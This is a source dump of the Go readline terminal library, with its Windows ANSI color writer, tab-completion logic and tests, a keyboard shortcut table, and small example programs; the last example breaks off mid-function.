<a href="https://opencollective.com/readline/sponsor/8/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/8/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/9/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/9/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/10/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/10/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/11/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/11/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/12/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/12/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/13/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/13/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/14/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/14/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/15/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/15/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/16/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/16/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/17/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/17/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/18/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/18/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/19/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/19/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/20/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/20/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/21/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/21/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/22/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/22/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/23/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/23/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/24/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/24/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/25/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/25/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/26/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/26/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/27/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/27/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/28/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/28/avatar.svg"></a>
<a href="https://opencollective.com/readline/sponsor/29/website" target="_blank"><img src="https://opencollective.com/readline/sponsor/29/avatar.svg"></a>
+249
View File
@@ -0,0 +1,249 @@
// +build windows
package readline
import (
"bufio"
"io"
"strconv"
"strings"
"sync"
"unicode/utf8"
"unsafe"
)
const (
_ = uint16(0)
COLOR_FBLUE = 0x0001
COLOR_FGREEN = 0x0002
COLOR_FRED = 0x0004
COLOR_FINTENSITY = 0x0008
COLOR_BBLUE = 0x0010
COLOR_BGREEN = 0x0020
COLOR_BRED = 0x0040
COLOR_BINTENSITY = 0x0080
COMMON_LVB_UNDERSCORE = 0x8000
COMMON_LVB_BOLD = 0x0007
)
var ColorTableFg = []word{
0, // 30: Black
COLOR_FRED, // 31: Red
COLOR_FGREEN, // 32: Green
COLOR_FRED | COLOR_FGREEN, // 33: Yellow
COLOR_FBLUE, // 34: Blue
COLOR_FRED | COLOR_FBLUE, // 35: Magenta
COLOR_FGREEN | COLOR_FBLUE, // 36: Cyan
COLOR_FRED | COLOR_FBLUE | COLOR_FGREEN, // 37: White
}
var ColorTableBg = []word{
0, // 40: Black
COLOR_BRED, // 41: Red
COLOR_BGREEN, // 42: Green
COLOR_BRED | COLOR_BGREEN, // 43: Yellow
COLOR_BBLUE, // 44: Blue
COLOR_BRED | COLOR_BBLUE, // 45: Magenta
COLOR_BGREEN | COLOR_BBLUE, // 46: Cyan
COLOR_BRED | COLOR_BBLUE | COLOR_BGREEN, // 47: White
}
type ANSIWriter struct {
target io.Writer
wg sync.WaitGroup
ctx *ANSIWriterCtx
sync.Mutex
}
func NewANSIWriter(w io.Writer) *ANSIWriter {
a := &ANSIWriter{
target: w,
ctx: NewANSIWriterCtx(w),
}
return a
}
func (a *ANSIWriter) Close() error {
a.wg.Wait()
return nil
}
type ANSIWriterCtx struct {
isEsc bool
isEscSeq bool
arg []string
target *bufio.Writer
wantFlush bool
}
func NewANSIWriterCtx(target io.Writer) *ANSIWriterCtx {
return &ANSIWriterCtx{
target: bufio.NewWriter(target),
}
}
func (a *ANSIWriterCtx) Flush() {
a.target.Flush()
}
func (a *ANSIWriterCtx) process(r rune) bool {
if a.wantFlush {
if r == 0 || r == CharEsc {
a.wantFlush = false
a.target.Flush()
}
}
if a.isEscSeq {
a.isEscSeq = a.ioloopEscSeq(a.target, r, &a.arg)
return true
}
switch r {
case CharEsc:
a.isEsc = true
case '[':
if a.isEsc {
a.arg = nil
a.isEscSeq = true
a.isEsc = false
break
}
fallthrough
default:
a.target.WriteRune(r)
a.wantFlush = true
}
return true
}
func (a *ANSIWriterCtx) ioloopEscSeq(w *bufio.Writer, r rune, argptr *[]string) bool {
arg := *argptr
var err error
if r >= 'A' && r <= 'D' {
count := short(GetInt(arg, 1))
info, err := GetConsoleScreenBufferInfo()
if err != nil {
return false
}
switch r {
case 'A': // up
info.dwCursorPosition.y -= count
case 'B': // down
info.dwCursorPosition.y += count
case 'C': // right
info.dwCursorPosition.x += count
case 'D': // left
info.dwCursorPosition.x -= count
}
SetConsoleCursorPosition(&info.dwCursorPosition)
return false
}
switch r {
case 'J':
killLines()
case 'K':
eraseLine()
case 'm':
color := word(0)
for _, item := range arg {
var c int
c, err = strconv.Atoi(item)
if err != nil {
w.WriteString("[" + strings.Join(arg, ";") + "m")
break
}
if c >= 30 && c < 40 {
color ^= COLOR_FINTENSITY
color |= ColorTableFg[c-30]
} else if c >= 40 && c < 50 {
color ^= COLOR_BINTENSITY
color |= ColorTableBg[c-40]
} else if c == 4 {
color |= COMMON_LVB_UNDERSCORE | ColorTableFg[7]
} else if c == 1 {
color |= COMMON_LVB_BOLD | COLOR_FINTENSITY
} else { // unknown code treat as reset
color = ColorTableFg[7]
}
}
if err != nil {
break
}
kernel.SetConsoleTextAttribute(stdout, uintptr(color))
case '\007': // set title
case ';':
if len(arg) == 0 || arg[len(arg)-1] != "" {
arg = append(arg, "")
*argptr = arg
}
return true
default:
if len(arg) == 0 {
arg = append(arg, "")
}
arg[len(arg)-1] += string(r)
*argptr = arg
return true
}
*argptr = nil
return false
}
func (a *ANSIWriter) Write(b []byte) (int, error) {
a.Lock()
defer a.Unlock()
off := 0
for len(b) > off {
r, size := utf8.DecodeRune(b[off:])
if size == 0 {
return off, io.ErrShortWrite
}
off += size
a.ctx.process(r)
}
a.ctx.Flush()
return off, nil
}
func killLines() error {
sbi, err := GetConsoleScreenBufferInfo()
if err != nil {
return err
}
size := (sbi.dwCursorPosition.y - sbi.dwSize.y) * sbi.dwSize.x
size += sbi.dwCursorPosition.x
var written int
kernel.FillConsoleOutputAttribute(stdout, uintptr(ColorTableFg[7]),
uintptr(size),
sbi.dwCursorPosition.ptr(),
uintptr(unsafe.Pointer(&written)),
)
return kernel.FillConsoleOutputCharacterW(stdout, uintptr(' '),
uintptr(size),
sbi.dwCursorPosition.ptr(),
uintptr(unsafe.Pointer(&written)),
)
}
func eraseLine() error {
sbi, err := GetConsoleScreenBufferInfo()
if err != nil {
return err
}
size := sbi.dwSize.x
sbi.dwCursorPosition.x = 0
var written int
return kernel.FillConsoleOutputCharacterW(stdout, uintptr(' '),
uintptr(size),
sbi.dwCursorPosition.ptr(),
uintptr(unsafe.Pointer(&written)),
)
}
+285
View File
@@ -0,0 +1,285 @@
package readline
import (
"bufio"
"bytes"
"fmt"
"io"
)
type AutoCompleter interface {
// Readline will pass the whole line and current offset to it
// Completer need to pass all the candidates, and how long they shared the same characters in line
// Example:
// [go, git, git-shell, grep]
// Do("g", 1) => ["o", "it", "it-shell", "rep"], 1
// Do("gi", 2) => ["t", "t-shell"], 2
// Do("git", 3) => ["", "-shell"], 3
Do(line []rune, pos int) (newLine [][]rune, length int)
}
type TabCompleter struct{}
func (t *TabCompleter) Do([]rune, int) ([][]rune, int) {
return [][]rune{[]rune("\t")}, 0
}
type opCompleter struct {
w io.Writer
op *Operation
width int
inCompleteMode bool
inSelectMode bool
candidate [][]rune
candidateSource []rune
candidateOff int
candidateChoise int
candidateColNum int
}
func newOpCompleter(w io.Writer, op *Operation, width int) *opCompleter {
return &opCompleter{
w: w,
op: op,
width: width,
}
}
func (o *opCompleter) doSelect() {
if len(o.candidate) == 1 {
o.op.buf.WriteRunes(o.candidate[0])
o.ExitCompleteMode(false)
return
}
o.nextCandidate(1)
o.CompleteRefresh()
}
func (o *opCompleter) nextCandidate(i int) {
o.candidateChoise += i
o.candidateChoise = o.candidateChoise % len(o.candidate)
if o.candidateChoise < 0 {
o.candidateChoise = len(o.candidate) + o.candidateChoise
}
}
func (o *opCompleter) OnComplete() bool {
if o.width == 0 {
return false
}
if o.IsInCompleteSelectMode() {
o.doSelect()
return true
}
buf := o.op.buf
rs := buf.Runes()
if o.IsInCompleteMode() && o.candidateSource != nil && runes.Equal(rs, o.candidateSource) {
o.EnterCompleteSelectMode()
o.doSelect()
return true
}
o.ExitCompleteSelectMode()
o.candidateSource = rs
newLines, offset := o.op.cfg.AutoComplete.Do(rs, buf.idx)
if len(newLines) == 0 {
o.ExitCompleteMode(false)
return true
}
// only Aggregate candidates in non-complete mode
if !o.IsInCompleteMode() {
if len(newLines) == 1 {
buf.WriteRunes(newLines[0])
o.ExitCompleteMode(false)
return true
}
same, size := runes.Aggregate(newLines)
if size > 0 {
buf.WriteRunes(same)
o.ExitCompleteMode(false)
return true
}
}
o.EnterCompleteMode(offset, newLines)
return true
}
func (o *opCompleter) IsInCompleteSelectMode() bool {
return o.inSelectMode
}
func (o *opCompleter) IsInCompleteMode() bool {
return o.inCompleteMode
}
func (o *opCompleter) HandleCompleteSelect(r rune) bool {
next := true
switch r {
case CharEnter, CharCtrlJ:
next = false
o.op.buf.WriteRunes(o.op.candidate[o.op.candidateChoise])
o.ExitCompleteMode(false)
case CharLineStart:
num := o.candidateChoise % o.candidateColNum
o.nextCandidate(-num)
case CharLineEnd:
num := o.candidateColNum - o.candidateChoise%o.candidateColNum - 1
o.candidateChoise += num
if o.candidateChoise >= len(o.candidate) {
o.candidateChoise = len(o.candidate) - 1
}
case CharBackspace:
o.ExitCompleteSelectMode()
next = false
case CharTab, CharForward:
o.doSelect()
case CharBell, CharInterrupt:
o.ExitCompleteMode(true)
next = false
case CharNext:
tmpChoise := o.candidateChoise + o.candidateColNum
if tmpChoise >= o.getMatrixSize() {
tmpChoise -= o.getMatrixSize()
} else if tmpChoise >= len(o.candidate) {
tmpChoise += o.candidateColNum
tmpChoise -= o.getMatrixSize()
}
o.candidateChoise = tmpChoise
case CharBackward:
o.nextCandidate(-1)
case CharPrev:
tmpChoise := o.candidateChoise - o.candidateColNum
if tmpChoise < 0 {
tmpChoise += o.getMatrixSize()
if tmpChoise >= len(o.candidate) {
tmpChoise -= o.candidateColNum
}
}
o.candidateChoise = tmpChoise
default:
next = false
o.ExitCompleteSelectMode()
}
if next {
o.CompleteRefresh()
return true
}
return false
}
func (o *opCompleter) getMatrixSize() int {
line := len(o.candidate) / o.candidateColNum
if len(o.candidate)%o.candidateColNum != 0 {
line++
}
return line * o.candidateColNum
}
func (o *opCompleter) OnWidthChange(newWidth int) {
o.width = newWidth
}
func (o *opCompleter) CompleteRefresh() {
if !o.inCompleteMode {
return
}
lineCnt := o.op.buf.CursorLineCount()
colWidth := 0
for _, c := range o.candidate {
w := runes.WidthAll(c)
if w > colWidth {
colWidth = w
}
}
colWidth += o.candidateOff + 1
same := o.op.buf.RuneSlice(-o.candidateOff)
// -1 to avoid reach the end of line
width := o.width - 1
colNum := width / colWidth
if colNum != 0 {
colWidth += (width - (colWidth * colNum)) / colNum
}
o.candidateColNum = colNum
buf := bufio.NewWriter(o.w)
buf.Write(bytes.Repeat([]byte("\n"), lineCnt))
colIdx := 0
lines := 1
buf.WriteString("\033[J")
for idx, c := range o.candidate {
inSelect := idx == o.candidateChoise && o.IsInCompleteSelectMode()
if inSelect {
buf.WriteString("\033[30;47m")
}
buf.WriteString(string(same))
buf.WriteString(string(c))
buf.Write(bytes.Repeat([]byte(" "), colWidth-runes.WidthAll(c)-runes.WidthAll(same)))
if inSelect {
buf.WriteString("\033[0m")
}
colIdx++
if colIdx == colNum {
buf.WriteString("\n")
lines++
colIdx = 0
}
}
// move back
fmt.Fprintf(buf, "\033[%dA\r", lineCnt-1+lines)
fmt.Fprintf(buf, "\033[%dC", o.op.buf.idx+o.op.buf.PromptLen())
buf.Flush()
}
func (o *opCompleter) aggCandidate(candidate [][]rune) int {
offset := 0
for i := 0; i < len(candidate[0]); i++ {
for j := 0; j < len(candidate)-1; j++ {
if i > len(candidate[j]) {
goto aggregate
}
if candidate[j][i] != candidate[j+1][i] {
goto aggregate
}
}
offset = i
}
aggregate:
return offset
}
func (o *opCompleter) EnterCompleteSelectMode() {
o.inSelectMode = true
o.candidateChoise = -1
o.CompleteRefresh()
}
func (o *opCompleter) EnterCompleteMode(offset int, candidate [][]rune) {
o.inCompleteMode = true
o.candidate = candidate
o.candidateOff = offset
o.CompleteRefresh()
}
func (o *opCompleter) ExitCompleteSelectMode() {
o.inSelectMode = false
o.candidate = nil
o.candidateChoise = -1
o.candidateOff = -1
o.candidateSource = nil
}
func (o *opCompleter) ExitCompleteMode(revent bool) {
o.inCompleteMode = false
o.ExitCompleteSelectMode()
}
+165
View File
@@ -0,0 +1,165 @@
package readline
import (
"bytes"
"strings"
)
// Caller type for dynamic completion
type DynamicCompleteFunc func(string) []string
type PrefixCompleterInterface interface {
Print(prefix string, level int, buf *bytes.Buffer)
Do(line []rune, pos int) (newLine [][]rune, length int)
GetName() []rune
GetChildren() []PrefixCompleterInterface
SetChildren(children []PrefixCompleterInterface)
}
type DynamicPrefixCompleterInterface interface {
PrefixCompleterInterface
IsDynamic() bool
GetDynamicNames(line []rune) [][]rune
}
type PrefixCompleter struct {
Name []rune
Dynamic bool
Callback DynamicCompleteFunc
Children []PrefixCompleterInterface
}
func (p *PrefixCompleter) Tree(prefix string) string {
buf := bytes.NewBuffer(nil)
p.Print(prefix, 0, buf)
return buf.String()
}
func Print(p PrefixCompleterInterface, prefix string, level int, buf *bytes.Buffer) {
if strings.TrimSpace(string(p.GetName())) != "" {
buf.WriteString(prefix)
if level > 0 {
buf.WriteString("├")
buf.WriteString(strings.Repeat("─", (level*4)-2))
buf.WriteString(" ")
}
buf.WriteString(string(p.GetName()) + "\n")
level++
}
for _, ch := range p.GetChildren() {
ch.Print(prefix, level, buf)
}
}
func (p *PrefixCompleter) Print(prefix string, level int, buf *bytes.Buffer) {
Print(p, prefix, level, buf)
}
func (p *PrefixCompleter) IsDynamic() bool {
return p.Dynamic
}
func (p *PrefixCompleter) GetName() []rune {
return p.Name
}
func (p *PrefixCompleter) GetDynamicNames(line []rune) [][]rune {
var names = [][]rune{}
for _, name := range p.Callback(string(line)) {
names = append(names, []rune(name+" "))
}
return names
}
func (p *PrefixCompleter) GetChildren() []PrefixCompleterInterface {
return p.Children
}
func (p *PrefixCompleter) SetChildren(children []PrefixCompleterInterface) {
p.Children = children
}
func NewPrefixCompleter(pc ...PrefixCompleterInterface) *PrefixCompleter {
return PcItem("", pc...)
}
func PcItem(name string, pc ...PrefixCompleterInterface) *PrefixCompleter {
name += " "
return &PrefixCompleter{
Name: []rune(name),
Dynamic: false,
Children: pc,
}
}
func PcItemDynamic(callback DynamicCompleteFunc, pc ...PrefixCompleterInterface) *PrefixCompleter {
return &PrefixCompleter{
Callback: callback,
Dynamic: true,
Children: pc,
}
}
func (p *PrefixCompleter) Do(line []rune, pos int) (newLine [][]rune, offset int) {
return doInternal(p, line, pos, line)
}
func Do(p PrefixCompleterInterface, line []rune, pos int) (newLine [][]rune, offset int) {
return doInternal(p, line, pos, line)
}
func doInternal(p PrefixCompleterInterface, line []rune, pos int, origLine []rune) (newLine [][]rune, offset int) {
line = runes.TrimSpaceLeft(line[:pos])
goNext := false
var lineCompleter PrefixCompleterInterface
for _, child := range p.GetChildren() {
childNames := make([][]rune, 1)
childDynamic, ok := child.(DynamicPrefixCompleterInterface)
if ok && childDynamic.IsDynamic() {
childNames = childDynamic.GetDynamicNames(origLine)
} else {
childNames[0] = child.GetName()
}
for _, childName := range childNames {
if len(line) >= len(childName) {
if runes.HasPrefix(line, childName) {
if len(line) == len(childName) {
newLine = append(newLine, []rune{' '})
} else {
newLine = append(newLine, childName)
}
offset = len(childName)
lineCompleter = child
goNext = true
}
} else {
if runes.HasPrefix(childName, line) {
newLine = append(newLine, childName[len(line):])
offset = len(line)
lineCompleter = child
}
}
}
}
if len(newLine) != 1 {
return
}
tmpLine := make([]rune, 0, len(line))
for i := offset; i < len(line); i++ {
if line[i] == ' ' {
continue
}
tmpLine = append(tmpLine, line[i:]...)
return doInternal(lineCompleter, tmpLine, len(tmpLine), origLine)
}
if goNext {
return doInternal(lineCompleter, nil, 0, origLine)
}
return
}
+82
View File
@@ -0,0 +1,82 @@
package readline
type SegmentCompleter interface {
// a
// |- a1
// |--- a11
// |- a2
// b
// input:
// DoTree([], 0) [a, b]
// DoTree([a], 1) [a]
// DoTree([a, ], 0) [a1, a2]
// DoTree([a, a], 1) [a1, a2]
// DoTree([a, a1], 2) [a1]
// DoTree([a, a1, ], 0) [a11]
// DoTree([a, a1, a], 1) [a11]
DoSegment([][]rune, int) [][]rune
}
type dumpSegmentCompleter struct {
f func([][]rune, int) [][]rune
}
func (d *dumpSegmentCompleter) DoSegment(segment [][]rune, n int) [][]rune {
return d.f(segment, n)
}
func SegmentFunc(f func([][]rune, int) [][]rune) AutoCompleter {
return &SegmentComplete{&dumpSegmentCompleter{f}}
}
func SegmentAutoComplete(completer SegmentCompleter) *SegmentComplete {
return &SegmentComplete{
SegmentCompleter: completer,
}
}
type SegmentComplete struct {
SegmentCompleter
}
func RetSegment(segments [][]rune, cands [][]rune, idx int) ([][]rune, int) {
ret := make([][]rune, 0, len(cands))
lastSegment := segments[len(segments)-1]
for _, cand := range cands {
if !runes.HasPrefix(cand, lastSegment) {
continue
}
ret = append(ret, cand[len(lastSegment):])
}
return ret, idx
}
func SplitSegment(line []rune, pos int) ([][]rune, int) {
segs := [][]rune{}
lastIdx := -1
line = line[:pos]
pos = 0
for idx, l := range line {
if l == ' ' {
pos = 0
segs = append(segs, line[lastIdx+1:idx])
lastIdx = idx
} else {
pos++
}
}
segs = append(segs, line[lastIdx+1:])
return segs, pos
}
func (c *SegmentComplete) Do(line []rune, pos int) (newLine [][]rune, offset int) {
segment, idx := SplitSegment(line, pos)
cands := c.DoSegment(segment, idx)
newLine, offset = RetSegment(segment, cands, idx)
for idx := range newLine {
newLine[idx] = append(newLine[idx], ' ')
}
return newLine, offset
}
+167
View File
@@ -0,0 +1,167 @@
package readline
import (
"fmt"
"testing"
"github.com/chzyer/test"
)
func rs(s [][]rune) []string {
ret := make([]string, len(s))
for idx, ss := range s {
ret[idx] = string(ss)
}
return ret
}
func sr(s ...string) [][]rune {
ret := make([][]rune, len(s))
for idx, ss := range s {
ret[idx] = []rune(ss)
}
return ret
}
func TestRetSegment(t *testing.T) {
defer test.New(t)
// a
// |- a1
// |--- a11
// |--- a12
// |- a2
// |--- a21
// b
// add
// adddomain
ret := []struct {
Segments [][]rune
Cands [][]rune
idx int
Ret [][]rune
pos int
}{
{sr(""), sr("a", "b", "add", "adddomain"), 0, sr("a", "b", "add", "adddomain"), 0},
{sr("a"), sr("a", "add", "adddomain"), 1, sr("", "dd", "dddomain"), 1},
{sr("a", ""), sr("a1", "a2"), 0, sr("a1", "a2"), 0},
{sr("a", "a"), sr("a1", "a2"), 1, sr("1", "2"), 1},
{sr("a", "a1"), sr("a1"), 2, sr(""), 2},
{sr("add"), sr("add", "adddomain"), 2, sr("", "domain"), 2},
}
for idx, r := range ret {
ret, pos := RetSegment(r.Segments, r.Cands, r.idx)
test.Equal(ret, r.Ret, fmt.Errorf("%v", idx))
test.Equal(pos, r.pos, fmt.Errorf("%v", idx))
}
}
func TestSplitSegment(t *testing.T) {
defer test.New(t)
// a
// |- a1
// |--- a11
// |--- a12
// |- a2
// |--- a21
// b
ret := []struct {
Line string
Pos int
Segments [][]rune
Idx int
}{
{"", 0, sr(""), 0},
{"a", 1, sr("a"), 1},
{"a ", 2, sr("a", ""), 0},
{"a a", 3, sr("a", "a"), 1},
{"a a1", 4, sr("a", "a1"), 2},
{"a a1 ", 5, sr("a", "a1", ""), 0},
}
for i, r := range ret {
ret, idx := SplitSegment([]rune(r.Line), r.Pos)
test.Equal(rs(ret), rs(r.Segments), fmt.Errorf("%v", i))
test.Equal(idx, r.Idx, fmt.Errorf("%v", i))
}
}
type Tree struct {
Name string
Children []Tree
}
func TestSegmentCompleter(t *testing.T) {
defer test.New(t)
tree := Tree{"", []Tree{
{"a", []Tree{
{"a1", []Tree{
{"a11", nil},
{"a12", nil},
}},
{"a2", []Tree{
{"a21", nil},
}},
}},
{"b", nil},
{"route", []Tree{
{"add", nil},
{"adddomain", nil},
}},
}}
s := SegmentFunc(func(ret [][]rune, n int) [][]rune {
tree := tree
main:
for level := 0; level < len(ret)-1; {
name := string(ret[level])
for _, t := range tree.Children {
if t.Name == name {
tree = t
level++
continue main
}
}
}
ret = make([][]rune, len(tree.Children))
for idx, r := range tree.Children {
ret[idx] = []rune(r.Name)
}
return ret
})
// a
// |- a1
// |--- a11
// |--- a12
// |- a2
// |--- a21
// b
ret := []struct {
Line string
Pos int
Ret [][]rune
Share int
}{
{"", 0, sr("a", "b", "route"), 0},
{"a", 1, sr(""), 1},
{"a ", 2, sr("a1", "a2"), 0},
{"a a", 3, sr("1", "2"), 1},
{"a a1", 4, sr(""), 2},
{"a a1 ", 5, sr("a11", "a12"), 0},
{"a a1 a", 6, sr("11", "12"), 1},
{"a a1 a1", 7, sr("1", "2"), 2},
{"a a1 a11", 8, sr(""), 3},
{"route add", 9, sr("", "domain"), 3},
}
for _, r := range ret {
for idx, rr := range r.Ret {
r.Ret[idx] = append(rr, ' ')
}
}
for i, r := range ret {
newLine, length := s.Do([]rune(r.Line), r.Pos)
test.Equal(rs(newLine), rs(r.Ret), fmt.Errorf("%v", i))
test.Equal(length, r.Share, fmt.Errorf("%v", i))
}
}
+62
View File
@@ -0,0 +1,62 @@
## Readline Shortcut
`Meta`+`B` means press `Esc` and `n` separately.
Users can change that in terminal simulator(i.e. iTerm2) to `Alt`+`B`
Notice: `Meta`+`B` is equals with `Alt`+`B` in windows.
* Shortcut in normal mode
| Shortcut | Comment |
| ------------------ | --------------------------------- |
| `Ctrl`+`A` | Beginning of line |
| `Ctrl`+`B` / `←` | Backward one character |
| `Meta`+`B` | Backward one word |
| `Ctrl`+`C` | Send io.EOF |
| `Ctrl`+`D` | Delete one character |
| `Meta`+`D` | Delete one word |
| `Ctrl`+`E` | End of line |
| `Ctrl`+`F` / `→` | Forward one character |
| `Meta`+`F` | Forward one word |
| `Ctrl`+`G` | Cancel |
| `Ctrl`+`H` | Delete previous character |
| `Ctrl`+`I` / `Tab` | Command line completion |
| `Ctrl`+`J` | Line feed |
| `Ctrl`+`K` | Cut text to the end of line |
| `Ctrl`+`L` | Clear screen |
| `Ctrl`+`M` | Same as Enter key |
| `Ctrl`+`N` / `↓` | Next line (in history) |
| `Ctrl`+`P` / `↑` | Prev line (in history) |
| `Ctrl`+`R` | Search backwards in history |
| `Ctrl`+`S` | Search forwards in history |
| `Ctrl`+`T` | Transpose characters |
| `Meta`+`T` | Transpose words (TODO) |
| `Ctrl`+`U` | Cut text to the beginning of line |
| `Ctrl`+`W` | Cut previous word |
| `Backspace` | Delete previous character |
| `Meta`+`Backspace` | Cut previous word |
| `Enter` | Line feed |
* Shortcut in Search Mode (`Ctrl`+`S` or `Ctrl`+`r` to enter this mode)
| Shortcut | Comment |
| ----------------------- | --------------------------------------- |
| `Ctrl`+`S` | Search forwards in history |
| `Ctrl`+`R` | Search backwards in history |
| `Ctrl`+`C` / `Ctrl`+`G` | Exit Search Mode and revert the history |
| `Backspace` | Delete previous character |
| Other | Exit Search Mode |
* Shortcut in Complete Select Mode (double `Tab` to enter this mode)
| Shortcut | Comment |
| ----------------------- | ---------------------------------------- |
| `Ctrl`+`F` | Move Forward |
| `Ctrl`+`B` | Move Backward |
| `Ctrl`+`N` | Move to next line |
| `Ctrl`+`P` | Move to previous line |
| `Ctrl`+`A` | Move to the first candicate in current line |
| `Ctrl`+`E` | Move to the last candicate in current line |
| `Tab` / `Enter` | Use the word on cursor to complete |
| `Ctrl`+`C` / `Ctrl`+`G` | Exit Complete Select Mode |
| Other | Exit Complete Select Mode |
@@ -0,0 +1,167 @@
package main
import (
"fmt"
"io"
"io/ioutil"
"log"
"strconv"
"strings"
"time"
"github.com/chzyer/readline"
)
func usage(w io.Writer) {
io.WriteString(w, "commands:\n")
io.WriteString(w, completer.Tree(" "))
}
// Function constructor - constructs new function for listing given directory
func listFiles(path string) func(string) []string {
return func(line string) []string {
names := make([]string, 0)
files, _ := ioutil.ReadDir(path)
for _, f := range files {
names = append(names, f.Name())
}
return names
}
}
var completer = readline.NewPrefixCompleter(
readline.PcItem("mode",
readline.PcItem("vi"),
readline.PcItem("emacs"),
),
readline.PcItem("login"),
readline.PcItem("say",
readline.PcItemDynamic(listFiles("./"),
readline.PcItem("with",
readline.PcItem("following"),
readline.PcItem("items"),
),
),
readline.PcItem("hello"),
readline.PcItem("bye"),
),
readline.PcItem("setprompt"),
readline.PcItem("setpassword"),
readline.PcItem("bye"),
readline.PcItem("help"),
readline.PcItem("go",
readline.PcItem("build", readline.PcItem("-o"), readline.PcItem("-v")),
readline.PcItem("install",
readline.PcItem("-v"),
readline.PcItem("-vv"),
readline.PcItem("-vvv"),
),
readline.PcItem("test"),
),
readline.PcItem("sleep"),
)
func filterInput(r rune) (rune, bool) {
switch r {
// block CtrlZ feature
case readline.CharCtrlZ:
return r, false
}
return r, true
}
func main() {
l, err := readline.NewEx(&readline.Config{
Prompt: "\033[31m»\033[0m ",
HistoryFile: "/tmp/readline.tmp",
AutoComplete: completer,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
FuncFilterInputRune: filterInput,
})
if err != nil {
panic(err)
}
defer l.Close()
setPasswordCfg := l.GenPasswordConfig()
setPasswordCfg.SetListener(func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) {
l.SetPrompt(fmt.Sprintf("Enter password(%v): ", len(line)))
l.Refresh()
return nil, 0, false
})
log.SetOutput(l.Stderr())
for {
line, err := l.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
line = strings.TrimSpace(line)
switch {
case strings.HasPrefix(line, "mode "):
switch line[5:] {
case "vi":
l.SetVimMode(true)
case "emacs":
l.SetVimMode(false)
default:
println("invalid mode:", line[5:])
}
case line == "mode":
if l.IsVimMode() {
println("current mode: vim")
} else {
println("current mode: emacs")
}
case line == "login":
pswd, err := l.ReadPassword("please enter your password: ")
if err != nil {
break
}
println("you enter:", strconv.Quote(string(pswd)))
case line == "help":
usage(l.Stderr())
case line == "setpassword":
pswd, err := l.ReadPasswordWithConfig(setPasswordCfg)
if err == nil {
println("you set:", strconv.Quote(string(pswd)))
}
case strings.HasPrefix(line, "setprompt"):
if len(line) <= 10 {
log.Println("setprompt <prompt>")
break
}
l.SetPrompt(line[10:])
case strings.HasPrefix(line, "say"):
line := strings.TrimSpace(line[3:])
if len(line) == 0 {
log.Println("say what?")
break
}
go func() {
for range time.Tick(time.Second) {
log.Println(line)
}
}()
case line == "bye":
goto exit
case line == "sleep":
log.Println("sleep 4 second")
time.Sleep(4 * time.Second)
case line == "":
default:
log.Println("you said:", strconv.Quote(line))
}
}
exit:
}
+3
View File
@@ -0,0 +1,3 @@
# readline-im
![readline-im](https://dl.dropboxusercontent.com/s/52hc7bo92g3pgi5/03F93B8D-9B4B-4D35-BBAA-22FBDAC7F299-26173-000164AA33980001.gif?dl=0)
@@ -0,0 +1,60 @@
package main
import (
"fmt"
"math/rand"
"time"
"github.com/chzyer/readline"
)
import "log"
func main() {
rl, err := readline.NewEx(&readline.Config{
UniqueEditLine: true,
})
if err != nil {
panic(err)
}
defer rl.Close()
rl.SetPrompt("username: ")
username, err := rl.Readline()
if err != nil {
return
}
rl.ResetHistory()
log.SetOutput(rl.Stderr())
fmt.Fprintln(rl, "Hi,", username+"! My name is Dave.")
rl.SetPrompt(username + "> ")
done := make(chan struct{})
go func() {
rand.Seed(time.Now().Unix())
loop:
for {
select {
case <-time.After(time.Duration(rand.Intn(20)) * 100 * time.Millisecond):
case <-done:
break loop
}
log.Println("Dave:", "hello")
}
log.Println("Dave:", "bye")
done <- struct{}{}
}()
for {
ln := rl.Line()
if ln.CanContinue() {
continue
} else if ln.CanBreak() {
break
}
log.Println(username+":", ln.Line)
}
rl.Clean()
done <- struct{}{}
<-done
}
@@ -0,0 +1,41 @@
package main
import (
"strings"
"github.com/chzyer/readline"
)
func main() {
rl, err := readline.NewEx(&readline.Config{
Prompt: "> ",
HistoryFile: "/tmp/readline-multiline",
DisableAutoSaveHistory: true,
})
if err != nil {
panic(err)
}
defer rl.Close()
var cmds []string
for {
line, err := rl.Readline()
